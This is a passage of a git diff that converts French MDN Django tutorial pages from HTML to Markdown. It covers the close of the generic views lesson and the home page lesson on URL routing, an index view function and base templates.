avons appris la recherche d'un pattern d'URL grâce aux expressions régulières, et la manière de passer des données depuis les URLs vers les vues. Nous avons aussi appris quelques trucs supplémentaires pour mieux utiliser les templates. Et en dernier nous vous avons montré comment paginer les vues liste, de façon à pouvoir gérer des listes même avec beaucoup d'enregistrements.</p> +Dans cet article, nous avons appris comment utiliser les vues génériques basées sur classe "liste" et "détail", et nous les avons utilisées pour créer des pages permettant de voir nos livres et nos auteurs. Au passage nous avons appris la recherche d'un pattern d'URL grâce aux expressions régulières, et la manière de passer des données depuis les URLs vers les vues. Nous avons aussi appris quelques trucs supplémentaires pour mieux utiliser les templates. Et en dernier nous vous avons montré comment paginer les vues liste, de façon à pouvoir gérer des listes même avec beaucoup d'enregistrements. -<p>Dans les articles que nous vous présenterons ensuite, nous améliorerons cette application pour intégrer des comptes utilisateurs, et nous allons donc vous montrer comment gérer l'authentification des utilisateurs, les permissions, les sessions et les formulaires.</p> +Dans les articles que nous vous présenterons ensuite, nous améliorerons cette application pour intégrer des comptes utilisateurs, et nous allons donc vous montrer comment gérer l'authentification des utilisateurs, les permissions, les sessions et les formulaires. -<h2 id="Voyez_aussi">Voyez aussi</h2> +## Voyez aussi -<ul> - <li><a href="https://docs.djangoproject.com/en/2.1/topics/class-based-views/generic-display/">Built-in class-based generic views</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/en/2.1/ref/class-based-views/generic-display/">Generic display views</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/en/2.1/topics/class-based-views/intro/">Introduction to class-based views</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/en/2.1/ref/templates/builtins">Built-in template tags and filters</a> (Django docs).</li> - <li><a href="https://docs.djangoproject.com/en/2.1/topics/pagination/">Pagination</a> (Django docs)</li> -</ul> +- [Built-in class-based generic views](https://docs.djangoproject.com/en/2.1/topics/class-based-views/generic-display/) (Django docs) +- [Generic display views](https://docs.djangoproject.com/en/2.1/ref/class-based-views/generic-display/) (Django docs) +- [Introduction to class-based views](https://docs.djangoproject.com/en/2.1/topics/class-based-views/intro/) (Django docs) +- [Built-in template tags and filters](https://docs.djangoproject.com/en/2.1/ref/templates/builtins) (Django docs). +- [Pagination](https://docs.djangoproject.com/en/2.1/topics/pagination/) (Django docs) -<p>{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}</p> +{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}} -<h2 id="In_this_module">In this module</h2> +## In this module -<ul> - <li><a href="/fr/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> - <li><a href="/fr/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> -</ul> +- [Django introduction](/fr/docs/Learn/Server-side/Django/Introduction) +- [Setting up a Django development environment](/fr/docs/Learn/Server-side/Django/development_environment) +- [Django Tutorial: The Local Library website](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website) +- [Django Tutorial Part 2: Creating a skeleton website](/fr/docs/Learn/Server-side/Django/skeleton_website) +- [Django Tutorial Part 3: Using models](/fr/docs/Learn/Server-side/Django/Models) +- [Django Tutorial Part 4: Django admin site](/fr/docs/Learn/Server-side/Django/Admin_site) +- [Django Tutorial Part 5: Creating our home page](/fr/docs/Learn/Server-side/Django/Home_page) +- [Django Tutorial Part 6: Generic list and detail views](/fr/docs/Learn/Server-side/Django/Generic_views) +- [Django Tutorial Part 7: Sessions framework](/fr/docs/Learn/Server-side/Django/Sessions) +- [Django Tutorial Part 8: User authentication and permissions](/fr/docs/Learn/Server-side/Django/Authentication) +- [Django Tutorial Part 9: Working with forms](/fr/docs/Learn/Server-side/Django/Forms) +- [Django Tutorial Part 10: Testing a Django web application](/fr/docs/Learn/Server-side/Django/Testing) +- [Django Tutorial Part 11: Deploying Django to production](/fr/docs/Learn/Server-side/Django/Deployment) +- [Django web application security](/fr/docs/Learn/Server-side/Django/web_application_security) +- [DIY Django mini blog](/fr/docs/Learn/Server-side/Django/django_assessment_blog) diff --git a/files/fr/learn/server-side/django/home_page/index.md b/files/fr/learn/server-side/django/home_page/index.md index 5c8f63c457..99b8d974e0 100644 --- a/files/fr/learn/server-side/django/home_page/index.md +++ b/files/fr/learn/server-side/django/home_page/index.md @@ -14,121 +14,126 @@ tags: - django translation_of: Learn/Server-side/Django/Home_page --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}} -<div>{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}</div> - -<p>Le travail préparatoire pour nous permettre de créer une page d'accueil pour le site web de <a href="/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website">la bibliothèque locale</a> est réalisé. La page d'accueil montera le nombre d'enregistrements pour chacun des objets décrits dans la base et les liens à l'aide d'une barre latérale de navigation. Dans la progression de l'article, nous apprendrons à gérer les vues et à présenter les données à l'aide de gabarits.</p> +Le travail préparatoire pour nous permettre de créer une page d'accueil pour le site web de [la bibliothèque locale](/fr/docs/Learn/Server-side/Django/Tutorial_local_library_website) est réalisé. La page d'accueil montera le nombre d'enregistrements pour chacun des objets décrits dans la base et les liens à l'aide d'une barre latérale de navigation. Dans la progression de l'article, nous apprendrons à gérer les vues et à présenter les données à l'aide de gabarits. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Pré-requis:</th> - <td>L'<a href="/fr/docs/Learn/Server-side/Django/Introduction">introduction</a> à cette série didactique et les sections précédentes y compris celle sur <a href="/fr/docs/Learn/Server-side/Django/Admin_site">le site d'administration</a> du site web.</td> - </tr> - <tr> - <th scope="row">Objective:</th> - <td>Apprendre à construire un routage d'URL et les pages de publication des vues (où les données ne sont pas encodées dans l'url). Obtenir et publier des données via les objets du modèle de données et les publier à l'aide de gabarits.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Pré-requis:</th> + <td> + L'<a href="/fr/docs/Learn/Server-side/Django/Introduction" + >introduction</a + > + à cette série didactique et les sections précédentes y compris celle sur + <a href="/fr/docs/Learn/Server-side/Django/Admin_site" + >le site d'administration</a + > + du site web. + </td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td> + Apprendre à construire un routage d'URL et les pages de publication des + vues (où les données ne sont pas encodées dans l'url). Obtenir et + publier des données via les objets du modèle de données et les publier à + l'aide de gabarits. + </td> + </tr> + </tbody> </table> -<h2 id="Survol">Survol</h2> - -<p>Dans les sections précédentes, nous avons défini <a href="/fr/docs/Learn/Server-side/Django/Models">le modèle de données et les objets Dajngo à manipuler</a>, puis nous avons commencé à peupler <a href="/fr/docs/Learn/Server-side/Django/Admin_site">des enregistrements à l'aide du site d'administration</a>. Désormais, nous allons œuvrer à la présentation des données et développer le code nécessaire à l'information des utilisateurs. La première étape essentielle est de déterminer les informations que nous souhaitons publier dans nos différentes pages et, par conséquent, identifier les URL qui pourvoiront à la publication de ces informations. Nous serons alors en capacité de construire les routage d'URL, les vues et gabarits qui répondront aux exigences définies.</p> +## Survol -<p>Le diagramme ci-dessous est important à comprendre car il est au cœur du fonctionnement du cadriciel Django. Il décrit les flux de données et les composants sollicités pour traiter et répondre à une requête HTTP. Nous avons déjà travaillé le modèle de données (à gauche du diagramme), nous allons désormais nous atteler à :</p> +Dans les sections précédentes, nous avons défini [le modèle de données et les objets Dajngo à manipuler](/fr/docs/Learn/Server-side/Django/Models), puis nous avons commencé à peupler [des enregistrements à l'aide du site d'administration](/fr/docs/Learn/Server-side/Django/Admin_site). Désormais, nous allons œuvrer à la présentation des données et développer le code nécessaire à l'information des utilisateurs. La première étape essentielle est de déterminer les informations que nous souhaitons publier dans nos différentes pages et, par conséquent, identifier les URL qui pourvoiront à la publication de ces informations. Nous serons alors en capacité de construire les routage d'URL, les vues et gabarits qui répondront aux exigences définies. -<ul> - <li>détailler le routage des URL pour associer les vues adaptées aux requêtes HTTP que le site devra traiter (y compris avec des informations encodées dans les URL).</li> - <li>définir les fonctions de visualisation et créer les pages HTML qui vont permettre de publier les informations à destination des utilisateurs du site.</li> - <li>créer les gabarits qui vont permettre de publier les données dans les vues.</li> -</ul> +Le diagramme ci-dessous est important à comprendre car il est au cœur du fonctionnement du cadriciel Django. Il décrit les flux de données et les composants sollicités pour traiter et répondre à une requête HTTP. Nous avons déjà travaillé le modèle de données (à gauche du diagramme), nous allons désormais nous atteler à : -<p><img alt="" src="basic-django.png"></p> +- détailler le routage des URL pour associer les vues adaptées aux requêtes HTTP que le site devra traiter (y compris avec des informations encodées dans les URL). +- définir les fonctions de visualisation et créer les pages HTML qui vont permettre de publier les informations à destination des utilisateurs du site. +- créer les gabarits qui vont permettre de publier les données dans les vues. -<p>Nous aurons à créer 5 pages web pour publier les informations à destination des utilisateurs. Cela fait beaucoup d'éléments à maîtriser dans une seule section d'apprentissage de l'outils. Nous avons donc opté pour ne traiter dans cette section que de la page d'accueil et de traiter les autres pages dans une autre section du didacticiel. Cela permet, en outre, de mieux appréhender les composants comme le routage d'URL ou les vues et d'une manière générale le fonctionnement du modèle de Django.</p> + -<h2 id="Identifier_les_URLs_des_ressources">Identifier les URLs des ressources</h2> +Nous aurons à créer 5 pages web pour publier les informations à destination des utilisateurs. Cela fait beaucoup d'éléments à maîtriser dans une seule section d'apprentissage de l'outils. Nous avons donc opté pour ne traiter dans cette section que de la page d'accueil et de traiter les autres pages dans une autre section du didacticiel. Cela permet, en outre, de mieux appréhender les composants comme le routage d'URL ou les vues et d'une manière générale le fonctionnement du modèle de Django. -<p>Le site web de la bibliothèque locale est essentiellement un site de consultation pour les adhérents de la bibliothèque, nous aurons donc, par conséquent, besoin uniquement de pages pour les vues de détail de chacun des livres (ouvrages, auteur, etc.) de la bibliothèque et d'une page d'accueil.</p> +## Identifier les URLs des ressources -<p>La liste des URLs dont nous aurons besoin se résume à :</p> +Le site web de la bibliothèque locale est essentiellement un site de consultation pour les adhérents de la bibliothèque, nous aurons donc, par conséquent, besoin uniquement de pages pour les vues de détail de chacun des livres (ouvrages, auteur, etc.) de la bibliothèque et d'une page d'accueil. -<ul> - <li><code>catalog/</code> — Pour la page d'accueil.</li> - <li><code>catalog/books/</code> — Pour la liste des livres.</li> - <li><code>catalog/authors/</code> — Pour la liste des auteurs.</li> - <li><code>catalog/book/<em><id></em></code> — Pour disposer du détails de chacun des livres mis en prêt et identifiés par identifiants <code><em><id></em></code> unique (le troisième livre enregistré est consultable dans le détail via l'url <code>/catalog/book/3</code>).</li> - <li><code>catalog/author/<em><id></em></code><em> </em>— De la même manière, le détail de chacun des auteurs enregistrés, identifié de la la même manière par sa clé primaire <em><code><id></code></em>.</li> -</ul> +La liste des URLs dont nous aurons besoin se résume à : -<p>Bien que les données dépendent du contenu de la base de données, les trois premières URLs retournent les résultats de requêtes sans informations supplémentaires ; c'est le cas de la page d'accueil qui donnera des décomptes de contenus et des pages sur la listes des livres ou des auteurs.</p> +- `catalog/` — Pour la page d'accueil. +- `catalog/books/` — Pour la liste des livres. +- `catalog/authors/` — Pour la liste des auteurs. +- `catalog/book/<id>` — Pour disposer du détails de chacun des livres mis en prêt et identifiés par identifiants `<id>` unique (le troisième livre enregistré est consultable dans le détail via l'url `/catalog/book/3`). +- `catalog/author/<id>`\* *— De la même manière, le détail de chacun des auteurs enregistrés, identifié de la la même manière par sa clé primaire *`<id>`\*. -<p>En revanche, les pages concernant le détails d'un livre ou d'un auteur nécessiteront de traiter l'identifiant d'un objet. Il sera nécessaire d'extraire de la requête HTTP l'information encodé de cet identifiant pour obtenir ensuite le détail depuis la base de données. Pour cela nous utiliserons un seul jeu de vue et de gabarit pour publier les informations sur les livres (et auteurs).</p> +Bien que les données dépendent du contenu de la base de données, les trois premières URLs retournent les résultats de requêtes sans informations supplémentaires ; c'est le cas de la page d'accueil qui donnera des décomptes de contenus et des pages sur la listes des livres ou des auteurs. -<div class="note"> -<p><strong>Note :</strong> Avec le cadriciel Django, vous pouvez élaborer vos URLs comme bon vous semble — Vous pouvez avoir une approche comme celle présentée ci-dessus, ou de faire un appel de la méthode <code>GET</code> avec un passage de paramètres (<code>/book/?id=6</code>). Cependant, quelque soit l'approche pour laquelle vous opterez, garder en mémoire d'avoir des URLs claires, logique et compréhensibles comme cela est <a href="https://www.w3.org/Provider/Style/URI">recommandé par le W3C</a>.</p> +En revanche, les pages concernant le détails d'un livre ou d'un auteur nécessiteront de traiter l'identifiant d'un objet. Il sera nécessaire d'extraire de la requête HTTP l'information encodé de cet identifiant pour obtenir ensuite le détail depuis la base de données. Pour cela nous utiliserons un seul jeu de vue et de gabarit pour publier les informations sur les livres (et auteurs). -<p>La documentation de Django recommande aussi de coder les informations dans le corps des URLs pour avoir une meilleure conception de ces URLs.</p> -</div> +> **Note :** Avec le cadriciel Django, vous pouvez élaborer vos URLs comme bon vous semble — Vous pouvez avoir une approche comme celle présentée ci-dessus, ou de faire un appel de la méthode `GET` avec un passage de paramètres (`/book/?id=6`). Cependant, quelque soit l'approche pour laquelle vous opterez, garder en mémoire d'avoir des URLs claires, logique et compréhensibles comme cela est [recommandé par le W3C](https://www.w3.org/Provider/Style/URI). +> +> La documentation de Django recommande aussi de coder les informations dans le corps des URLs pour avoir une meilleure conception de ces URLs. -<p>La suite de cette section s'intéresse à la conception de la page d'accueil.</p> +La suite de cette section s'intéresse à la conception de la page d'accueil. -<h2 id="Création_de_la_page_d'accueil">Création de la page d'accueil</h2> +## Création de la page d'accueil -<p>La toute première page à créer est la page d'accueil (<code>catalog/</code>). Cette page d'index est globalement une page statique contenant le décompte des différents enregistrements de la base de données. Pour faire cela, il sera nécessaire de créer un routage d'URL, une vue et un gabarit. </p> +La toute première page à créer est la page d'accueil (`catalog/`). Cette page d'index est globalement une page statique contenant le décompte des différents enregistrements de la base de données. Pour faire cela, il sera nécessaire de créer un routage d'URL, une vue et un gabarit. -<div class="note"> -<p><strong>Note :</strong> Cette section est essentielle, et cela vaut vraiment la peine d'être attentif aux concepts déployés dans celle-ci. La plupart des éléments aborder ici seront ré-utilisés par la suite.</p> -</div> +> **Note :** Cette section est essentielle, et cela vaut vraiment la peine d'être attentif aux concepts déployés dans celle-ci. La plupart des éléments aborder ici seront ré-utilisés par la suite. -<h3 id="Routage_d'URL">Routage d'URL</h3> +### Routage d'URL -<p>Quand nous avons créé <a href="/fr/docs/Learn/Server-side/Django/skeleton_website">le squelette du site</a>, nous avons mis à jour les routage des urls dans le fichier <strong>locallibrary/urls.py</strong> afin de nous assurer que toutes les requêtes démarrant par <code>catalog/</code> seront traités par le configurateur <em>URLConf du module</em> <code>catalog.urls</code> qui traitera la sous-chaîne restante.</p> +Quand nous avons créé [le squelette du site](/fr/docs/Learn/Server-side/Django/skeleton_website), nous avons mis à jour les routage des urls dans le fichier **locallibrary/urls.py** afin de nous assurer que toutes les requêtes démarrant par `catalog/` seront traités par le configurateur _URLConf du module_ `catalog.urls` qui traitera la sous-chaîne restante. -<p>L'extrait du code ci-dessous permet d'intégrer dans <strong>locallibrary/urls.py </strong>le configurateur d'url du module <code><em>catalog</em></code> :</p> +L'extrait du code ci-dessous permet d'intégrer dans **locallibrary/urls.py** le configurateur d'url du module `catalog` : -<pre>urlpatterns += [ - path('catalog/', include('catalog.urls')), -] -</pre> + urlpatterns += [ + path('catalog/', include('catalog.urls')), + ] -<p>Il est désormais nécessaire de créer un configurateur d'URL du module <code>catalog</code> (<em>URLConf </em>du module est nommé <strong>/catalog/urls.py</strong>). Ajoutez le chemin ci-dessous :</p> +Il est désormais nécessaire de créer un configurateur d'URL du module `catalog` (_URLConf_ du module est nommé **/catalog/urls.py**). Ajoutez le chemin ci-dessous : -<pre class="brush: python">urlpatterns = [ -<strong> path('', views.index, name='index'),</strong> -]</pre> +```python +urlpatterns = [ + path('', views.index, name='index'), +] +``` -<p>La fonction <code>path()</code> sert à définir les éléments suivants :</p> +La fonction `path()` sert à définir les éléments suivants : -<ul> - <li>Un modèle d'URL qui, dans le cas présent, est une chaîne vide : <code>''</code>. Nous évoquerons ultérieurement les modèles d'URL plus en détail quand nous travaillerons les autres vues.</li> - <li>Une fonction du vue, ici <code>views.index</code>, qui sera sollicitée quand le modèle d'URL sera détecté et une fonction Python qui sera appelée pour traiter l'appel d'URL est présent dans le fichier <strong>views.py </strong>du module <code>catalog</code>.</li> -</ul> +- Un modèle d'URL qui, dans le cas présent, est une chaîne vide : `''`. Nous évoquerons ultérieurement les modèles d'URL plus en détail quand nous travaillerons les autres vues. +- Une fonction du vue, ici `views.index`, qui sera sollicitée quand le modèle d'URL sera détecté et une fonction Python qui sera appelée pour traiter l'appel d'URL est présent dans le fichier **views.py** du module `catalog`. -<p>La paramètre <code>name</code> utilisé dans la fonction <code>path()</code> permet aussi de définir un identifiant unique qui sert à lier les pages vers celle-ci au sein de l'application. Vous pouvez alors l'utiliser à l'envers en routant dynamiquement des pages en lien vers cette ressource :</p> +La paramètre `name` utilisé dans la fonction `path()` permet aussi de définir un identifiant unique qui sert à lier les pages vers celle-ci au sein de l'application. Vous pouvez alors l'utiliser à l'envers en routant dynamiquement des pages en lien vers cette ressource : -<pre class="brush: html"><a href="<strong>{% url 'index' %}</strong>">Home</a>.</pre> +```html +<a href="{% url 'index' %}">Home</a>. +``` -<div class="note"> -<p><strong>Note :</strong> Vus pourriez bien évidemment coder en dur l'accès à la page d'accueil de cette manaière <code><a href="<strong>/catalog/</strong>">Home</a></code>), mais si nous changions le modèle d'URL, par exemple en <code>/catalog/index</code>, alors le gabarit ne fonctionnerait plus correctement et présenterait un lien mort. L'utilisation des noms et des routage inversés est plus robuste et adapté aux évolutions de l'application.</p> -</div> +> **Note :** Vus pourriez bien évidemment coder en dur l'accès à la page d'accueil de cette manaière `<a href="/catalog/">Home</a>`), mais si nous changions le modèle d'URL, par exemple en `/catalog/index`, alors le gabarit ne fonctionnerait plus correctement et présenterait un lien mort. L'utilisation des noms et des routage inversés est plus robuste et adapté aux évolutions de l'application. -<h3 id="Vue_(View_function-based)">Vue (<em>View function-based</em>)</h3> +### Vue (_View function-based_) -<p>Une vue est une fonction qui traite une requête HTTP, extrait des données de la base de données et les restitue dans une page HTML à l'aide d'une réponse HTTPA que le navigateur mettra en forme pour l'utilisateur. La fonction <code>index()</code> suit ce modèle de traitement de l'information : elle extrait les informations sur le nombre de livres, d'ouvrage en rayon ou en prêt et d'auteur enregistrés dans la base de données et à l'aide d'un gabarit les publie.</p> +Une vue est une fonction qui traite une requête HTTP, extrait des données de la base de données et les restitue dans une page HTML à l'aide d'une réponse HTTPA que le navigateur mettra en forme pour l'utilisateur. La fonction `index()` suit ce modèle de traitement de l'information : elle extrait les informations sur le nombre de livres, d'ouvrage en rayon ou en prêt et d'auteur enregistrés dans la base de données et à l'aide d'un gabarit les publie. -<p>Editer le fichier <strong>catalog/views.py</strong>.Vous constaterez l'import de la fonction <a href="https://docs.djangoproject.com/en/2.1/topics/http/shortcuts/#django.shortcuts.render">render()</a> qui traite de la génération HTML en utilisat des garabits et des données : </p> +Editer le fichier **catalog/views.py**.Vous constaterez l'import de la fonction [render()](https://docs.djangoproject.com/en/2.1/topics/http/shortcuts/#django.shortcuts.render) qui traite de la génération HTML en utilisat des garabits et des données : -<pre class="brush: python">from django.shortcuts import render +```python +from django.shortcuts import render # Create your views here. -</pre> +``` -<p>Copiez les lignes ci-dessous dans le fichier :</p> +Copiez les lignes ci-dessous dans le fichier : -<pre class="brush: python">from catalog.models import Book, Author, BookInstance, Genre +```python +from catalog.models import Book, Author, BookInstance, Genre def index(request): """View function for home page of site.""" @@ -151,204 +156,207 @@ def index(request): } # Render the HTML template index.html with the data in the context variable - return render(request, 'index.html', context=context)</pre> + return render(request, 'index.html', context=context) +``` -<p>La première ligne de code permet d'importer les modèles de données du catalogue décrites dans le module <code>catalog</code>.</p> +La première ligne de code permet d'importer les modèles de données du catalogue décrites dans le module `catalog`. -<p>La première section de la fonction index() permet à l'aide de requêtes, par l'intermédiaire des objets de modèle de données, d'obtenir les nombres d'enregistrements. Pour cela, nous utilisons la méthode d'objet <em>models</em> <code>objects.all()</code> sur les objets <code>Book</code> et <code>BookInstance</code>. En sus, nous recherchons les ouvrages disponibles, ce qui revient à faire une requête avec un filtre sur l'attribut status de l'objet <code>BookInstance</code> ayant la valeur 'a' (Available). Si vous avez un oubli, vous pouvez consulter <a href="/fr/docs/Learn/Server-side/Django/Models#Rechercher_des_enregistrements">La section 3 de Django didactique : utilisation du modèle de données > Chercher des enregistrements</a>.</p> +La première section de la fonction index() permet à l'aide de requêtes, par l'intermédiaire des objets de modèle de données, d'obtenir les nombres d'enregistrements. Pour cela, nous utilisons la méthode d'objet _models_ `objects.all()` sur les objets `Book` et `BookInstance`. En sus, nous recherchons les ouvrages disponibles, ce qui revient à faire une requête avec un filtre sur l'attribut status de l'objet `BookInstance` ayant la valeur 'a' (Available). Si vous avez un oubli, vous pouvez consulter [La section 3 de Django didactique : utilisation du modèle de données > Chercher des enregistrements](/fr/docs/Learn/Server-side/Django/Models#Rechercher_des_enregistrements). -<p>La dernière ligne de cette fonction est l'appel de la fonction <code>render()</code> dont l'objet est de constituer une page HTML et la transmettre comme une réponse. Cette fonction encapsule plusieurs autres fonctions du cadriciel ce qui permet de simplifier le processus de restitution des informations. La fonction <code>render()</code> utilise les paramètres :</p> +La dernière ligne de cette fonction est l'appel de la fonction `render()` dont l'objet est de constituer une page HTML et la transmettre comme une réponse. Cette fonction encapsule plusieurs autres fonctions du cadriciel ce qui permet de simplifier le processus de restitution des informations. La fonction `render()` utilise les paramètres : -<ul> - <li>La requête HTTP initiale <code>request</code> qui est un objet de type <code>HttpRequest</code>.</li> - <li>Un gabarit de page HTML avec des zones prédéfinies pour les données.</li> - <li>Un contexte de variables (<code>context)</code> qui est dictionnaire en Python, contenant les données à insérer dans le gabarit pour publier la page HTML. </li> -</ul> +- La requête HTTP initiale `request` qui est un objet de type `HttpRequest`. +- Un gabarit de page HTML avec des zones prédéfinies pour les données. +- Un contexte de variables (`context)` qui est dictionnaire en Python, contenant les données à insérer dans le gabarit pour publier la page HTML. -<p>Nous aborderons plus en détail les aspects de gabarit et de contexte des variables dans le section suivante du didacticiel. Pour le moment, construisons un premier gabarit sans plus de précisions.</p> +Nous aborderons plus en détail les aspects de gabarit et de contexte des variables dans le section suivante du didacticiel. Pour le moment, construisons un premier gabarit sans plus de précisions. -<h3 id="Gabarit_(Template)">Gabarit (<em>Template</em>)</h3> +### Gabarit (_Template_) -<p>Un gabarit est un fichier texte qui décrit la structure ou la mise en page d'un document (comme une page HTML) et qui utilise des emplacements réservés pour y insérer des informations issues de la base de données.</p> +Un gabarit est un fichier texte qui décrit la structure ou la mise en page d'un document (comme une page HTML) et qui utilise des emplacements réservés pour y insérer des informations issues de la base de données. -<p>La cadriciel Django va rechercher automatiquement ces gabarits dans un répertoire nommé '<strong>templates</strong>' dans le dossier de l'application. Si vous reprenez la dernière ligne de la de fonctions <code>index()</code> dans l'exemple ci-dessus, la fonction <code>render()</code> a besoin du fichier <em><strong>index.html</strong></em> qui devrait être placé dans le dossier<em> </em><strong>/locallibrary/catalog/templates/</strong>. Dans le cas contraire, cela génère une erreur car le fichier est considéré comme absent.</p> +La cadriciel Django va rechercher automatiquement ces gabarits dans un répertoire nommé '**templates**' dans le dossier de l'application. Si vous reprenez la dernière ligne de la de fonctions `index()` dans l'exemple ci-dessus, la fonction `render()` a besoin du fichier **_index.html_** qui devrait être placé dans le dossier\* **\*/locallibrary/catalog/templates/**. Dans le cas contraire, cela génère une erreur car le fichier est considéré comme absent. -<p>Vous pouvez en faire l'expérience dès à présent, après avoir redémarré votre serveur local, en accédant à l'URL <code>127.0.0.1:8000</code> de votre navigateur. Une page d'erreur explicite s'affiche en indiquant un message du type : "<code>TemplateDoesNotExist at /catalog/</code>", ainsi que de nombreux détails sur l'enchaînement des fonctions aboutissant à cette erreur.</p> +Vous pouvez en faire l'expérience dès à présent, après avoir redémarré votre serveur local, en accédant à l'URL `127.0.0.1:8000` de votre navigateur. Une page d'erreur explicite s'affiche en indiquant un message du type : "`TemplateDoesNotExist at /catalog/`", ainsi que de nombreux détails sur l'enchaînement des fonctions aboutissant à cette erreur. -<div class="note"> -<p><strong>Note :</strong> En fonction du paramétrage de votre projet - le fichier settings.py de votre projet - Django va chercher pour des gabarits dans différents répertoires et dans ceux de votre application par défaut. Si vous souhaitez approfondir ce sujet vous pouvez consulter la <a href="https://docs.djangoproject.com/fr/2.2/topics/templates/">documentation Django relative aux gabarit</a>.</p> -</div> +> **Note :** En fonction du paramétrage de votre projet - le fichier settings.py de votre projet - Django va chercher pour des gabarits dans différents répertoires et dans ceux de votre application par défaut. Si vous souhaitez approfondir ce sujet vous pouvez consulter la [documentation Django relative aux gabarit](https://docs.djangoproject.com/fr/2.2/topics/templates/). -<h4 id="Concevoir_les_gabarits">Concevoir les gabarits</h4> +#### Concevoir les gabarits -<p>Django utilise un langage de pour les gabarit qui permet de résoudre certains sujets liés au page HTML. En l'occurrence, dans le site web de la bibliothèque nous aurons des bandeaux de navigateur et autres codes d'en-tête à réutiliser. Dans une vision classique, il faudrait récrire dans chaque page le même code pour obtenir le même rendu. Si cela peut se concevoir pour quelques pages, ce procédé devient vite inopérant voir risqué avec un site dynamique complet.</p> +Django utilise un langage de pour les gabarit qui permet de résoudre certains sujets liés au page HTML. En l'occurrence, dans le site web de la bibliothèque nous aurons des bandeaux de navigateur et autres codes d'en-tête à réutiliser. Dans une vision classique, il faudrait récrire dans chaque page le même code pour obtenir le même rendu. Si cela peut se concevoir pour quelques pages, ce procédé devient vite inopérant voir risqué avec un site dynamique complet. -<p>Le langage de gabarit de Django permet de définir un modèle de base puis de l'étendre ensuite. L'extrait de code ci-dessous vient du fichier de gabarit <strong>base_generic.html</strong>, vous constaterez qu'il s'y mélange du code HTML et des sections nommées contenu dans entre des marqueurs <code>block</code> et <code>endblock</code> qui peut contenir ou non des données.</p> +Le langage de gabarit de Django permet de définir un modèle de base puis de l'étendre ensuite. L'extrait de code ci-dessous vient du fichier de gabarit **base_generic.html**, vous constaterez qu'il s'y mélange du code HTML et des sections nommées contenu dans entre des marqueurs `block` et `endblock` qui peut contenir ou non des données. -<div class="note"> -<p><strong>Note :</strong> Les marqueurs de gabarits sont des fonctions que vous pouvez utiliser dans un modèle pour parcourir des listes, effectuer des opérations conditionnelles en fonction de la valeur d'une variable, etc. Outre les balises de modèle, la syntaxe de gabarit vous permet de référencer les variables qui sont transmises au modèle à partir de la vue et d'utiliser des filtres de gabarit pour mettre en forme les variables (par exemple, pour convertir une chaîne en minuscule).</p> -</div> +> **Note :** Les marqueurs de gabarits sont des fonctions que vous pouvez utiliser dans un modèle pour parcourir des listes, effectuer des opérations conditionnelles en fonction de la valeur d'une variable, etc. Outre les balises de modèle, la syntaxe de gabarit vous permet de référencer les variables qui sont transmises au modèle à partir de la vue et d'utiliser des filtres de gabarit pour mettre en forme les variables (par exemple, pour convertir une chaîne en minuscule). -<p>Dans l'extrait ci-dessous vous avec trois sections nommées qui pourront être remplacés par la suite :</p> +Dans l'extrait ci-dessous vous avec trois sections nommées qui pourront être remplacés par la suite : -<ul> - <li>title : qui contiendra le titre (par défaut Bibliothèque locale)</li> - <li>sidebar : une barre de navigation latérale à gauche</li> - <li>content : le contenu de la page</li> -</ul> +- title : qui contiendra le titre (par défaut Bibliothèque locale) +- sidebar : une barre de navigation latérale à gauche +- content : le contenu de la page -<pre class="brush: html"><!DOCTYPE html> -<html lang="fr"> -<head> - <strong>{% block title %}</strong><title>Bibliothèque locale</title><strong>{% endblock %}</strong> -</head> -<body> - <strong>{% block sidebar %}</strong><!-- insert default navigation text for every page --><strong>{% endblock %}</strong> - <strong>{% block content %}</strong><!-- default content text (typically empty) --><strong>{% endblock %}</strong> -</body> -</html> -</pre> +```html +<!DOCTYPE html> +<html lang="fr"> +<head> + {% block title %}<title>Bibliothèque locale</title>{% endblock %} +</head> +<body> + {% block sidebar %}<!-- insert default navigation text for every page -->{% endblock %} + {% block content %}<!-- default content text (typically empty) -->{% endblock %} +</body> +</html> +``` -<p>Lorsque l'on définit un gabarit pour une vue particulière, il convient de définir une base de gabarit et d'utiliser la balise <code>extends</code> dans une page complémentaire comme dans 